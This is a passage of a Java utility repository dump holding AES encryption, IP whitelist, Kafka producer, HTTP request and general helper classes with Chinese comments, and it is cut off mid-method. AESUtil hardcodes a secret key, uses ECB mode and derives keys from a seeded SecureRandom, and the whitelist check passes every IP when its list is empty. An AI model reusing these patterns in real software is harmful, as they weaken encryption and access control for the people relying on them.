  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/utils/AESUtil.java",
    "content": "package com.jun.plugin.utils;\n\n\nimport java.security.NoSuchAlgorithmException;\nimport java.security.SecureRandom;\nimport java.util.logging.Level;\nimport java.util.logging.Logger;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.KeyGenerator;\nimport javax.crypto.SecretKey;\nimport javax.crypto.spec.SecretKeySpec;\n\nimport org.apache.commons.codec.binary.Base64;\n\n\n/**\n * \n* @Title: AESUtil\n* @Description: \n* AES 加密工具类\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年4月3日\n */\npublic class AESUtil {\n\n    private static final String KEY_ALGORITHM = \"AES\";\n    /** 秘钥 16位*/\n    private static final String PASSWORD = \"e!@$%s^&*a)_m+s.\";\n    private static final String DEFAULT_CIPHER_ALGORITHM = \"AES/ECB/PKCS5Padding\";//默认的加密算法\n\n    \n    \n    /**\n     * AES 加密操作\n     *\n     * @param content 待加密内容\n     * @return 返回Base64转码后的加密数据\n     */\n    public static String encrypt(String content) {\n    \treturn encrypt(content,PASSWORD);\n    }\n    \n    \n    /**\n     * AES 加密操作\n     *\n     * @param content 待加密内容\n     * @param password 加密密码\n     * @return 返回Base64转码后的加密数据\n     */\n    public static String encrypt(String content, String password) {\n        try {\n            Cipher cipher = Cipher.getInstance(DEFAULT_CIPHER_ALGORITHM);// 创建密码器\n\n            byte[] byteContent = content.getBytes(\"utf-8\");\n\n            cipher.init(Cipher.ENCRYPT_MODE, getSecretKey(password));// 初始化为加密模式的密码器\n\n            byte[] result = cipher.doFinal(byteContent);// 加密\n\n            return Base64.encodeBase64String(result);//通过Base64转码返回\n        } catch (Exception ex) {\n            Logger.getLogger(AESUtil.class.getName()).log(Level.SEVERE, null, ex);\n        }\n\n        return null;\n    }\n    \n    /**\n     * AES 解密操作\n     * @param content\n     * @return\n     */\n    public static String decrypt(String content) {\n    \treturn decrypt(content,PASSWORD);\n    }\n    \n    /**\n     * AES 解密操作\n     * @param content\n     * @param password\n     * @return\n     */\n    public static String decrypt(String content, String password) {\n\n        try {\n            //实例化\n            Cipher cipher = Cipher.getInstance(DEFAULT_CIPHER_ALGORITHM);\n\n            //使用密钥初始化，设置为解密模式\n            cipher.init(Cipher.DECRYPT_MODE, getSecretKey(password));\n\n            //执行操作\n            byte[] result = cipher.doFinal(Base64.decodeBase64(content));\n\n            return new String(result, \"utf-8\");\n        } catch (Exception ex) {\n            Logger.getLogger(AESUtil.class.getName()).log(Level.SEVERE, null, ex);\n        }\n        \n        return null;\n    }\n\n    /**\n     * 生成加密秘钥\n     *\n     * @return\n     */\n    private static SecretKeySpec getSecretKey(final String password) {\n        //返回生成指定算法密钥生成器的 KeyGenerator 对象\n        KeyGenerator kg = null;\n\n        try {\n            kg = KeyGenerator.getInstance(KEY_ALGORITHM);\n\n            //AES 要求密钥长度为 128\n            kg.init(128, new SecureRandom(password.getBytes()));\n\n            //生成一个密钥\n            SecretKey secretKey = kg.generateKey();\n\n            return new SecretKeySpec(secretKey.getEncoded(), KEY_ALGORITHM);// 转换为AES专用密钥\n        } catch (NoSuchAlgorithmException ex) {\n            Logger.getLogger(AESUtil.class.getName()).log(Level.SEVERE, null, ex);\n        }\n\n        return null;\n    }\n\n    public static void main(String[] args) {\n        String s = \"1234\";\n        String s1 = AESUtil.encrypt(s, \"1234\");\n        System.out.println(\"s1:\" + s1);\n        \n        System.out.println(\"s2:\"+AESUtil.decrypt(s1, \"1234\"));\n        \n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/utils/IPWhiteCheck.java",
    "content": "package com.jun.plugin.utils;\n\n\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.regex.Pattern;\n\n\n/**\n* @Title: IPWhiteCheck\n* @Description:\n* IP白名单工具类 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年6月25日\n*/\npublic class IPWhiteCheck {\n\n\tprivate static String VERTICAL=\"\\\\|\";\n\n    // IP的正则\n    private static Pattern pattern = Pattern\n            .compile(\"(1\\\\d{1,2}|2[0-4]\\\\d|25[0-5]|\\\\d{1,2})\\\\.\"\n                    + \"(1\\\\d{1,2}|2[0-4]\\\\d|25[0-5]|\\\\d{1,2})\\\\.\"\n                    + \"(1\\\\d{1,2}|2[0-4]\\\\d|25[0-5]|\\\\d{1,2})\\\\.\"\n                    + \"(1\\\\d{1,2}|2[0-4]\\\\d|25[0-5]|\\\\d{1,2})\");\n\n    \n    private static Set<String> getAvaliIpList(String allowIp) {\n\n        Set<String> ipList = new HashSet<String>();\n        for (String allow : allowIp.replaceAll(\"\\\\s\", \"\").split(\";\")) {\n            if (allow.indexOf(\"*\") > -1) {\n                String[] ips = allow.split(\"\\\\.\");\n                String[] from = new String[] { \"0\", \"0\", \"0\", \"0\" };\n                String[] end = new String[] { \"255\", \"255\", \"255\", \"255\" };\n                List<String> tem = new ArrayList<String>();\n                for (int i = 0; i < ips.length; i++)\n                    if (ips[i].indexOf(\"*\") > -1) {\n                        tem = complete(ips[i]);\n                        from[i] = null;\n                        end[i] = null;\n                    } else {\n                        from[i] = ips[i];\n                        end[i] = ips[i];\n                    }\n\n                StringBuffer fromIP = new StringBuffer();\n                StringBuffer endIP = new StringBuffer();\n                for (int i = 0; i < 4; i++)\n                    if (from[i] != null) {\n                        fromIP.append(from[i]).append(\".\");\n                        endIP.append(end[i]).append(\".\");\n                    } else {\n                        fromIP.append(\"[*].\");\n                        endIP.append(\"[*].\");\n                    }\n                fromIP.deleteCharAt(fromIP.length() - 1);\n                endIP.deleteCharAt(endIP.length() - 1);\n\n                for (String s : tem) {\n                    String ip = fromIP.toString().replace(\"[*]\",\n                            s.split(\";\")[0])\n                            + \"-\"\n                            + endIP.toString().replace(\"[*]\", s.split(\";\")[1]);\n                    if (validate(ip)) {\n                        ipList.add(ip);\n                    }\n                }\n            } else {\n                if (validate(allow)) {\n                    ipList.add(allow);\n                }\n            }\n        }\n\n        return ipList;\n    }\n\n    /**\n     * 对单个IP节点进行范围限定\n     * \n     * @param arg\n     * @return 返回限定后的IP范围，格式为List[10;19, 100;199]\n     */\n    private static List<String> complete(String arg) {\n        List<String> com = new ArrayList<String>();\n        if (arg.length() == 1) {\n            com.add(\"0;255\");\n        } else if (arg.length() == 2) {\n            String s1 = complete(arg, 1);\n            if (s1 != null)\n                com.add(s1);\n            String s2 = complete(arg, 2);\n            if (s2 != null)\n                com.add(s2);\n        } else {\n            String s1 = complete(arg, 1);\n            if (s1 != null)\n                com.add(s1);\n        }\n        return com;\n    }\n\n    private static String complete(String arg, int length) {\n        String from = \"\";\n        String end = \"\";\n        if (length == 1) {\n            from = arg.replace(\"*\", \"0\");\n            end = arg.replace(\"*\", \"9\");\n        } else {\n            from = arg.replace(\"*\", \"00\");\n            end = arg.replace(\"*\", \"99\");\n        }\n        if (Integer.valueOf(from) > 255)\n            return null;\n        if (Integer.valueOf(end) > 255)\n            end = \"255\";\n        return from + \";\" + end;\n    }\n\n    /**\n     * 在添加至白名单时进行格式校验\n     * @param ip\n     * @return\n     */\n    private static boolean validate(String ip) {\n        for (String s : ip.split(\"-\"))\n            if (!pattern.matcher(s).matches()) {\n                return false;\n            }\n        return true;\n    }\n\n    /**\n     * \n     * checkLoginIP:(根据IP,及可用Ip列表来判断ip是否包含在白名单之中).\n     * @param ip\n     * @param ipList\n     * @return\n     */\n    private static boolean checkLoginIP(String ip, Set<String> ipList) {\n        if (ipList.isEmpty() || ipList.contains(ip))\n            return true;\n        else {\n            for (String allow : ipList) {\n                if (allow.indexOf(\"-\") > -1) {\n                    String[] from = allow.split(\"-\")[0].split(\"\\\\.\");\n                    String[] end = allow.split(\"-\")[1].split(\"\\\\.\");\n                    String[] tag = ip.split(\"\\\\.\");\n\n                    // 对IP从左到右进行逐段匹配\n                    boolean check = true;\n                    for (int i = 0; i < 4; i++) {\n                        int s = Integer.valueOf(from[i]);\n                        int t = Integer.valueOf(tag[i]);\n                        int e = Integer.valueOf(end[i]);\n                        if (!(s <= t && t <= e)) {\n                            check = false;\n                            break;\n                        }\n                    }\n                    if (check) {\n                        return true;\n                    }\n                }\n            }\n        }\n        return false;\n    }\n    \n     /**\n      * 根据IP地址，及IP白名单设置规则判断IP是否包含在白名单\n      * 例如:ip =192.169.0.10\n      * ipWhiteConfig=192.169.0.1-192.169.0.11;\n      * 则可以通过\n      * ip =192.169.1.10\n      * ipWhiteConfig=192.169.1.*\n      * 也可以通过\n      * @param ip\n      * @param ipWhiteConfig\n      * @return\n      */\n    public static boolean checkLoginIP(String ip,String ipWhiteConfig){\n    \tif(ip==null||ipWhiteConfig==null){\n \t\t   return false;\n \t   }\n        Set<String> ipList = getAvaliIpList(ipWhiteConfig);\n        return checkLoginIP(ip, ipList);\n    }\n    \n    /**\n     * 支持多个\n     * 根据IP地址，及IP白名单设置规则判断IP是否包含在白名单\n     * 例如:ip =192.169.0.10\n     * ipWhiteConfig=192.169.1.*|192.169.0.1-192.169.0.11;\n     * 则可以通过\n     * ip =192.169.0.12\n     * ipWhiteConfig=192.169.1.*|192.169.0.1-192.169.0.11\n     * 不可以通过\n     * @param ip\n     * @param ipWhiteConfig\n     * @return\n     */\n   public static boolean checkLoginIPS(String ip,String ipWhiteConfig){\n\t   if(ip==null||ipWhiteConfig==null){\n\t\t   return false;\n\t   }\n\t   String []ips=ipWhiteConfig.split(VERTICAL);\n\t\tboolean falg=false;\n\t\tfor(String i:ips){\n\t\t\tfalg=checkLoginIP(ip, i);\n\t\t\tif(falg){\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n       return falg;\n   }\n   \n   \n   public static void main(String[] args) {\n\t   String ip=\"192.169.0.10\";\n\t\tString ipWhiteConfig=\"192.169.0.1-192.169.0.11\";\n\t\tString ip2=\"192.169.0.10\";\n\t\tString ipWhiteConfig2=\"192.169.1.*\";\n\t\tString ipWhiteConfig3=\"192.169.1.*|192.169.0.1-192.169.0.11\";\n\t\tString []ips=ipWhiteConfig3.split(\"\\\\|\");\n\t\tboolean falg=false;\n\t\tfor(String i:ips){\n\t\t\tfalg=IPWhiteCheck.checkLoginIP(ip2, i);\n\t\t\tif(falg){\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"是否通过1：\"+falg);\n\t\t\n\t\tSystem.out.println(\"是否通过2：\"+IPWhiteCheck.checkLoginIP(ip, ipWhiteConfig));\n\t\tSystem.out.println(\"是否通过3：\"+IPWhiteCheck.checkLoginIP(ip2, ipWhiteConfig2));\n}\n   \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/utils/KafkaProducerUtil.java",
    "content": "package com.jun.plugin.utils;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Properties;\n\nimport org.apache.kafka.clients.producer.KafkaProducer;\nimport org.apache.kafka.clients.producer.ProducerRecord;\nimport org.apache.kafka.common.serialization.StringSerializer;\n\n\n/**\n * \n* @Title: KafkaProducerUtil\n* @Description:\n* kafka消息生产者 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年4月2日\n */\npublic  final class KafkaProducerUtil {\n\t\n\n\t/**\n\t * 向kafka发送单条消息\n\t * @param msg 发送的消息\n\t * @param url 发送的地址\n\t * @param topicName 消息名称\n\t * @return\n\t * @throws Exception \n\t */\n\tpublic static boolean sendMessage(String msg,String url,String topicName) {\n\t\tKafkaProducer<String, String> producer=null;\n\t\tboolean flag=false;\n\t\ttry{\n\t\t\tProperties props=init(url);\n\t\t\tproducer= new KafkaProducer<String, String>(props);\n\t\t\tproducer.send(new ProducerRecord<String, String>(topicName,msg));\n\t\t\tflag=true;\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\tif(producer!=null){\n\t\t\t\tproducer.close();\n\t\t\t}\n\t\t}\n\t\treturn flag;\n\t}\n\t\n\n\t/**\n\t * 向kafka发送批量消息\n\t * @param listMsg 发送的消息\n\t * @param url 发送的地址\n\t * @param topicName 消息名称\n\t * @return\n\t * @throws Exception \n\t */\n\tpublic static boolean sendMessage(List<String> listMsg,String url,String topicName) {\n\t\tKafkaProducer<String, String> producer=null;\n\t\tboolean flag=false;\n\t\ttry{\n\t\t\tProperties props=init(url);\n\t\t\tproducer= new KafkaProducer<String, String>(props);\n\t\t\tfor(String msg:listMsg){\n\t\t\t\tproducer.send(new ProducerRecord<String, String>(topicName,msg));\n\t\t\t}\n\t\t\tflag=true;\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\tif(producer!=null){\n\t\t\t\tproducer.close();\n\t\t\t}\n\t\t}\n\t\treturn flag;\n\t}\n\t\n\t\n\t/**\n\t * 向kafka发送批量消息\n\t * @param listMsg 发送的消息\n\t * @param url 发送的地址\n\t * @param topicName 消息名称\n\t * @param num 每次发送的条数\n\t * @return\n\t * @throws Exception \n\t */\n\tpublic static boolean sendMessage(List<String> listMsg,String url,String topicName,int num) throws Exception{\n\t\tKafkaProducer<String, String> producer=null;\n\t\tboolean falg=false;\n\t\ttry{\n\t\t\tProperties props=init(url);\n\t\t\tproducer= new KafkaProducer<String, String>(props);\n\t\t\tList<String> listMsg2 =new ArrayList<String>();\n\t\t\tfor(int i = 1,j = listMsg.size();i<=j;i++){\n\t\t\t\tlistMsg2.add(listMsg.get(i-1));\n\t\t\t\tif(i%num==0 || i == j){\n\t\t\t\t\tproducer.send(new ProducerRecord<String, String>(topicName,listMsg2.toString()));\n\t\t\t\t\tlistMsg2.clear();\n\t\t\t\t}\n\t\t\t}\n\t\t\tfalg=true;\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\tif(producer!=null){\n\t\t\t\tproducer.close();\n\t\t\t}\n\t\t}\n\t\treturn falg;\n\t}\n\t\n\t/**\n\t * 初始化配置\n\t * @param url kafka地址,多个地址则用‘,’隔开\n\t * @return\n\t */\n\tprivate static Properties init(String url){\n\t\tProperties props = new Properties();\n\t\tprops.put(\"bootstrap.servers\", url);\n\t\t//acks=0：如果设置为0，生产者不会等待kafka的响应。\n\t\t//acks=1：这个配置意味着kafka会把这条消息写到本地日志文件中，但是不会等待集群中其他机器的成功响应。\n\t\t//acks=all：这个配置意味着leader会等待所有的follower同步完成。这个确保消息不会丢失，除非kafka集群中所有机器挂掉。这是最强的可用性保证。\n\t\tprops.put(\"acks\", \"all\");\n\t\t//配置为大于0的值的话，客户端会在消息发送失败时重新发送。\n\t\tprops.put(\"retries\", 0);\n\t\t//当多条消息需要发送到同一个分区时，生产者会尝试合并网络请求。这会提高client和生产者的效率\n\t\tprops.put(\"batch.size\", 16384);\n\t\tprops.put(\"key.serializer\", StringSerializer.class.getName());\n\t\tprops.put(\"value.serializer\", StringSerializer.class.getName());\n\t\treturn props;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/utils/MyHttpRequest.java",
    "content": "package com.jun.plugin.utils;\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.PrintWriter;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\n/**\n * @author xuwujing\n * @Data 2017-5-12 上午11:57:52\n * @Description  http请求工具类\n */\npublic class MyHttpRequest {\n   \n\t/**\n     * 向指定URL发送GET方法的请求\n     * \n     * @param url\n     *            发送请求的URL\n     * @param param\n     *            请求Map参数，请求参数应该是 {\"name1\":\"value1\",\"name2\":\"value2\"}的形式。\n     * @param charset         \n     * \t\t\t   发送和接收的格式\n     * @return URL 所代表远程资源的响应结果\n     */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static String sendGet(String url, Map<String,Object> map,String charset){\n\t\t  StringBuffer sb=new StringBuffer();\n\t\t  //构建请求参数\n\t\t  if(map!=null&&map.size()>0){\n\t\t\t  Iterator it=map.entrySet().iterator(); //定义迭代器\n\t\t\t  while(it.hasNext()){\n\t\t\t\t Map.Entry  er= (Entry) it.next();\n\t\t\t\t sb.append(er.getKey());\n\t\t\t\t sb.append(\"=\");\n\t\t\t\t sb.append(er.getValue());\n\t\t\t\t sb.append(\"&\");\n\t\t\t }\n\t\t  }\n\t   return  sendGet(url,sb.toString(), charset);\n\t}\n\t\n\t\n\t/**\n     * 向指定URL发送POST方法的请求\n     * \n     * @param url\n     *            发送请求的URL\n     * @param param\n     *            请求Map参数，请求参数应该是 {\"name1\":\"value1\",\"name2\":\"value2\"}的形式。\n     * @param charset         \n     * \t\t\t   发送和接收的格式\n     * @return URL 所代表远程资源的响应结果\n     */\n\tpublic static String sendPost(String url, Map<String,Object> map,String charset){\n\t\t  StringBuffer sb=new StringBuffer();\n\t\t  //构建请求参数\n\t\t  if(map!=null&&map.size()>0){\n\t            for (Entry<String, Object> e : map.entrySet()) {  \n\t            \tsb.append(e.getKey());  \n\t            \tsb.append(\"=\");  \n\t            \tsb.append(e.getValue());  \n\t            \tsb.append(\"&\");  \n\t            }  \n\t\t  }\n\t   return  sendPost(url,sb.toString(),charset);\n\t}\n\t\n\t\n\t/**\n     * 向指定URL发送GET方法的请求\n     * \n     * @param url\n     *            发送请求的URL\n     * @param param\n     *            请求参数，请求参数应该是 name1=value1&name2=value2 的形式。\n     * @param charset         \n     * \t\t\t   发送和接收的格式\n     * @return URL 所代表远程资源的响应结果\n     */\n    public static String sendGet(String url, String param,String charset) {\n        String result = \"\";\n        String line;\n        StringBuffer sb=new StringBuffer();\n        BufferedReader in = null;\n        try {\n            String urlNameString = url + \"?\" + param;\n            URL realUrl = new URL(urlNameString);\n            // 打开和URL之间的连接\n            URLConnection conn = realUrl.openConnection();\n            // 设置通用的请求属性 设置请求格式\n            conn.setRequestProperty(\"contentType\", charset); \n            conn.setRequestProperty(\"content-type\", \"application/x-www-form-urlencoded\");\n            //设置超时时间\n            conn.setConnectTimeout(60);\n            conn.setReadTimeout(60);\n            // 建立实际的连接\n            conn.connect();\n            // 定义 BufferedReader输入流来读取URL的响应,设置接收格式\n            in = new BufferedReader(new InputStreamReader(\n            \t\tconn.getInputStream(),charset));\n            while ((line = in.readLine()) != null) {\n            \tsb.append(line);\n            }\n            result=sb.toString();\n        } catch (Exception e) {\n            System.out.println(\"发送GET请求出现异常！\" + e);\n            e.printStackTrace();\n        }\n        // 使用finally块来关闭输入流\n        finally {\n            try {\n                if (in != null) {\n                    in.close();\n                }\n            } catch (Exception e2) {\n                e2.printStackTrace();\n            }\n        }\n        return result;\n    }\n\n    /**\n     * 向指定 URL 发送POST方法的请求\n     * \n     * @param url\n     *            发送请求的 URL\n     * @param param\n     *            请求参数，请求参数应该是 name1=value1&name2=value2 的形式。\n     * @param charset         \n     * \t\t\t   发送和接收的格式       \n     * @return 所代表远程资源的响应结果\n     */\n    public static String sendPost(String url, String param,String charset) {\n        PrintWriter out = null;\n        BufferedReader in = null;\n        String result = \"\";\n        String line;\n        StringBuffer sb=new StringBuffer();\n        try {\n            URL realUrl = new URL(url);\n            // 打开和URL之间的连接 \n            URLConnection conn = realUrl.openConnection();\n            // 设置通用的请求属性 设置请求格式\n            conn.setRequestProperty(\"contentType\", charset);  \n            conn.setRequestProperty(\"content-type\", \"application/x-www-form-urlencoded\");\n            //设置超时时间\n            conn.setReadTimeout(60);\n            conn.setConnectTimeout(60);\n            // 发送POST请求必须设置如下两行\n            conn.setDoOutput(true);\n            conn.setDoInput(true);\n            // 建立实际的连接\n            conn.connect();\n            // 获取URLConnection对象对应的输出流\n            out = new PrintWriter(conn.getOutputStream());\n            // 发送请求参数\n            out.print(param);\n            // flush输出流的缓冲\n            out.flush();\n            // 定义BufferedReader输入流来读取URL的响应    设置接收格式\n            in = new BufferedReader(\n                    new InputStreamReader(conn.getInputStream(),charset));\n            while ((line = in.readLine()) != null) {\n            \tsb.append(line);\n            }\n            result=sb.toString();\n        } catch (Exception e) {\n            System.out.println(\"发送 POST请求出现异常!\"+e);\n            e.printStackTrace();\n        }\n        //使用finally块来关闭输出流、输入流\n        finally{\n            try{\n                if(out!=null){\n                    out.close();\n                }\n                if(in!=null){\n                    in.close();\n                }\n            }\n            catch(IOException ex){\n                ex.printStackTrace();\n            }\n        }\n        return result;\n    }  \n    \n    public static void main(String[] args) {\n\t\tString getUrl=\"http://int.dpool.sina.com.cn/iplookup/iplookup.php\";\n\t\tString postUrl=\"http://gc.ditu.aliyun.com/geocoding\";\n\t\tString param=\"format=json&ip=218.4.255.255\";\n\t\tString param1=\"a=苏州市\";\n\t\tMap<String,Object> map=new HashMap<String,Object>();\n\t\tmap.put(\"format\", \"json\");\n\t\tmap.put(\"ip\", \"218.4.255.255\");\n\t\tMap<String,Object> map1=new HashMap<String,Object>();\n\t\tmap1.put(\"a\", \"苏州市\");\n\t\tSystem.out.println(\"Get请求1:\"+sendGet(getUrl, param,\"utf-8\"));\n\t\tSystem.out.println(\"Get请求2:\"+sendGet(getUrl, map,\"utf-8\"));\n\t\tSystem.out.println(\"Post请求1:\"+sendPost(postUrl, param1,\"utf-8\"));\n\t\tSystem.out.println(\"Post请求2:\"+sendPost(postUrl, map1,\"utf-8\"));\n\t}\n    \n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/utils/MyTools.java",
    "content": "package com.jun.plugin.utils;\n\nimport java.math.BigInteger;\nimport java.net.InetAddress;\nimport java.net.UnknownHostException;\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Timestamp;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.time.LocalDate;\nimport java.time.LocalDateTime;\nimport java.time.Period;\nimport java.time.format.DateTimeFormatter;\nimport java.util.ArrayList;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\nimport java.util.Random;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.apache.commons.codec.binary.Base64;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\n\n/**\n * \n * @Title: MyTools\n * @Description:常用工具类\n * @Version:1.0.1\n * @author pancm\n * @date 2017年9月26日\n */\npublic final class MyTools {\n\t/** 时间格式包含毫秒 */\n\tprivate static final String sdfm = \"yyyy-MM-dd HH:mm:ss SSS\";\n\t/** 普通的时间格式 */\n\tprivate static final String sdf = \"yyyy-MM-dd HH:mm:ss\";\n\t/** 时间戳格式 */\n\tprivate static final String sd = \"yyyyMMddHHmmss\";\n\t/** 检查是否为整型 */\n\tprivate static Pattern p = Pattern.compile(\"^\\\\d+$\");\n\n\t/**\n\t * 判断String类型的数据是否为空 null,\"\",\" \" 为true \"A\"为false\n\t * \n\t * @return boolean\n\t */\n\tpublic static boolean isEmpty(String str) {\n\t\treturn (null == str || str.trim().length() == 0);\n\t}\n\n\t/**\n\t * 判断String类型的数据是否为空 null,\"\", \" \" 为false \"A\", 为true\n\t * \n\t * @return boolean\n\t */\n\tpublic static boolean isNotEmpty(String str) {\n\t\treturn !isEmpty(str);\n\t}\n\n\t/**\n\t * 判断list类型的数据是否为空 null,[] 为 true\n\t * \n\t * @return boolean\n\t */\n\tpublic static boolean isEmpty(List<?> list) {\n\t\treturn (null == list || list.size() == 0);\n\t}\n\n\t/**\n\t * 判断list类型的数据是否为空 null,[] 为 false\n\t * \n\t * @return boolean\n\t */\n\tpublic static boolean isNotEmpty(List<?> list) {\n\t\treturn !isEmpty(list);\n\t}\n\n\t/**\n\t * 判断Map类型的数据是否为空 null,[] 为true\n\t * \n\t * @return boolean\n\t */\n\tpublic static boolean isEmpty(Map<?, ?> map) {\n\t\treturn (null == map || map.size() == 0);\n\t}\n\n\t/**\n\t * 判断map类型的数据是否为空 null,[] 为 false\n\t * \n\t * @return boolean\n\t */\n\tpublic static boolean isNotEmpty(Map<?, ?> map) {\n\t\treturn !isEmpty(map);\n\t}\n\n\t/**\n\t * 判断JSONObject类型的数据是否为空 null,[] 为true\n\t * \n\t * @return boolean\n\t */\n\tpublic static boolean isEmpty(JSONObject json) {\n\t\treturn (null == json || json.size() == 0);\n\t}\n\n\t/**\n\t * 判断json类型的数据是否为空 null,[] 为 false\n\t * \n\t * @return boolean\n\t */\n\tpublic static boolean isNotEmpty(JSONObject json) {\n\t\treturn !isEmpty(json);\n\t}\n\n\t/**\n\t * 字符串反转 如:入参为abc，出参则为cba\n\t * \n\t * @param str\n\t * @return\n\t */\n\tpublic static String reverse(String str) {\n\t\tif (isEmpty(str)) {\n\t\t\treturn str;\n\t\t}\n\t\treturn reverse(str.substring(1)) + str.charAt(0);\n\t}\n\n\t/**\n\t * 获取当前long类型的的时间\n\t * \n\t * @return long\n\t */\n\tpublic static long getNowLongTime() {\n\t\treturn System.currentTimeMillis();\n\t}\n\n\t/**\n\t * long类型的时间转换成 yyyyMMddHHmmss String类型的时间\n\t * \n\t * @param lo\n\t *            long类型的时间\n\t * @return\n\t */\n\tpublic static String longTime2StringTime(long lo) {\n\t\treturn longTime2StringTime(lo, sd);\n\t}\n\n\t/**\n\t * long类型的时间转换成自定义时间格式\n\t * \n\t * @param lo\n\t *            long类型的时间\n\t * @param format\n\t *            时间格式\n\t * @return String\n\t */\n\tpublic static String longTime2StringTime(long lo, String format) {\n\t\treturn new SimpleDateFormat(format).format(lo);\n\t}\n\n\t/**\n\t * String类型的时间转换成 long\n\t * \n\t * @param lo\n\t * @return String\n\t * @throws ParseException\n\t */\n\tpublic static long stringTime2LongTime(String time, String format) throws ParseException {\n\t\tif (isEmpty(format)) {\n\t\t\tformat = sdf;\n\t\t}\n\t\tif (isEmpty(time)) {\n\t\t\ttime = getNowTime(format);\n\t\t}\n\t\tSimpleDateFormat sd = new SimpleDateFormat(format);\n\t\tDate date = sd.parse(time);\n\t\treturn date.getTime();\n\t}\n\n\t/**\n\t * 格式化时间\n\t * \n\t * @param format1\n\t *            之前的 时间格式\n\t * @param format2\n\t *            之后的 时间格式\n\t * @param time\n\t *            时间\n\t * @return String\n\t * @throws ParseException\n\t */\n\tpublic static String formatTime(String format1, String format2, String time) throws ParseException {\n\t\tSimpleDateFormat d1 = new SimpleDateFormat(format1);\n\t\tSimpleDateFormat d2 = new SimpleDateFormat(format2);\n\t\ttime = d2.format(d1.parse(time));\n\t\treturn time;\n\t}\n\n\t/**\n\t * 时间补全 例如将2018-04-04补全为2018-04-04 00:00:00.000\n\t * \n\t * @param time\n\t *            补全的时间\n\t * @return\n\t */\n\tpublic static String complementTime(String time) {\n\t\treturn complementTime(time, sdfm, 1);\n\n\t}\n\n\t/**\n\t * 时间补全 例如将2018-04-04补全为2018-04-04 00:00:00.000\n\t * \n\t * @param time\n\t *            补全的时间\n\t * @param format\n\t *            补全的格式\n\t * @param type\n\t *            类型 1:起始;2:终止\n\t * @return\n\t */\n\tpublic static String complementTime(String time, String format, int type) {\n\t\tif (isEmpty(time) || isEmpty(format)) {\n\t\t\treturn null;\n\t\t}\n\t\tint tlen = time.length();\n\t\tint flen = format.length();\n\t\tint clen = flen - tlen;\n\t\tif (clen <= 0) {\n\t\t\treturn time;\n\t\t}\n\t\tStringBuffer sb = new StringBuffer(time);\n\t\tif (clen == 4) {\n\t\t\tif (type == 1) {\n\t\t\t\tsb.append(\".000\");\n\t\t\t} else {\n\t\t\t\tsb.append(\".999\");\n\t\t\t}\n\t\t} else if (clen == 9) {\n\t\t\tif (type == 1) {\n\t\t\t\tsb.append(\" 00:00:00\");\n\t\t\t} else {\n\t\t\t\tsb.append(\" 23:59:59\");\n\t\t\t}\n\t\t} else if (clen == 13) {\n\t\t\tif (type == 1) {\n\t\t\t\tsb.append(\" 00:00:00.000\");\n\t\t\t} else {\n\t\t\t\tsb.append(\" 23:59:59.999\");\n\t\t\t}\n\t\t}\n\t\treturn sb.toString();\n\n\t}\n\n\t/**\n\t * 获取当前String类型的的时间 使用默认格式 yyyy-MM-dd HH:mm:ss\n\t * \n\t * @return String\n\t */\n\tpublic static String getNowTime() {\n\t\treturn getNowTime(sdf);\n\t}\n\n\t/**\n\t * 获取当前String类型的的时间(自定义格式)\n\t * \n\t * @param format\n\t *            时间格式\n\t * @return String\n\t */\n\tpublic static String getNowTime(String format) {\n\t\treturn new SimpleDateFormat(format).format(new Date());\n\t}\n\n\t/**\n\t * 获取当前Timestamp类型的的时间\n\t * \n\t * @return Timestamp\n\t */\n\tpublic static Timestamp getTNowTime() {\n\t\treturn new Timestamp(getNowLongTime());\n\t}\n\n\t/**\n\t * 获取的String类型的当前时间并更改时间\n\t * \n\t * @param number\n\t *            要更改的的数值\n\t * @param format\n\t *            更改时间的格式 如yyyy-MM-dd HH:mm:ss\n\t * @param type\n\t *            更改时间的类型 时:h; 分:m ;秒:s\n\t * @return String\n\t */\n\tpublic static String changeTime(int number, String format, String type) {\n\t\treturn changeTime(number, format, type, \"\");\n\t}\n\n\t/**\n\t * 获取的String类型时间并更改时间\n\t * \n\t * @param number\n\t *            要更改的的数值\n\t * @param format\n\t *            更改时间的格式\n\t * @param type\n\t *            更改时间的类型 。时:h; 分:m ;秒:s\n\t * @param time\n\t *            更改的时间 没有则取当前时间\n\t * @return String\n\t */\n\tpublic static String changeTime(int number, String format, String type, String time) {\n\t\tif (isEmpty(time)) { // 如果没有设置时间则取当前时间\n\t\t\ttime = getNowTime(format);\n\t\t}\n\t\tSimpleDateFormat format1 = new SimpleDateFormat(format);\n\t\tDate d = 